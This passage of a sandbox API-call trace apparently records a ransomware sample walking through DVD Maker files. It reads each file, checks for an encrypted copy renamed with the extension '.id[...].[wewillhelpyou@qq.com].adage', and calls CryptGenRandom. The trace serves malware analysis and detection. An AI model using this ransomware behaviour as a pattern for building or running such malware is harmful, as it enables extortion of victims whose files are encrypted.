CloseHandle (hObject=0x180) returned 1 [0058.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png")) returned 0x20 [0058.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.111] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.112] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4570) returned 1 [0058.112] CloseHandle (hObject=0x180) returned 1 [0058.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png")) returned 0x20 [0058.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.112] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.112] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2821) returned 1 [0058.112] CloseHandle (hObject=0x180) returned 1 [0058.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png")) returned 0x20 [0058.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.113] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.114] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6203) returned 1 [0058.114] CloseHandle (hObject=0x180) returned 1 [0058.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png")) returned 0x20 [0058.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.114] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.114] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5088) returned 1 [0058.114] CloseHandle (hObject=0x180) returned 1 [0058.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png")) returned 0x20 [0058.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.115] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.115] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3130) returned 1 [0058.115] CloseHandle (hObject=0x180) returned 1 [0058.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0058.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.115] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.116] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5025) returned 1 [0058.116] CloseHandle (hObject=0x180) returned 1 [0058.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0058.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.116] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.116] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3118) returned 1 [0058.116] CloseHandle (hObject=0x180) returned 1 [0058.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0058.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.117] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.117] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4955) returned 1 [0058.117] CloseHandle (hObject=0x180) returned 1 [0058.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0058.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.117] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.118] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3081) returned 1 [0058.118] CloseHandle (hObject=0x180) returned 1 [0058.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0058.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.118] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.118] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=27789) returned 1 [0058.118] CloseHandle (hObject=0x180) returned 1 [0058.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0058.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.119] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.340] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3823) returned 1 [0058.340] CloseHandle (hObject=0x1a8) returned 1 [0058.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0058.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.341] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.341] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=781292) returned 1 [0058.341] CloseHandle (hObject=0x1a8) returned 1 [0058.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv")) returned 0x20 [0058.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.342] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.342] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4525) returned 1 [0058.342] CloseHandle (hObject=0x1a8) returned 1 [0058.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png")) returned 0x20 [0058.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.343] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.343] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3055) returned 1 [0058.343] CloseHandle (hObject=0x1a8) returned 1 [0058.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png")) returned 0x20 [0058.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.343] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.344] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=25243) returned 1 [0058.344] CloseHandle (hObject=0x1a8) returned 1 [0058.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png")) returned 0x20 [0058.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.345] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 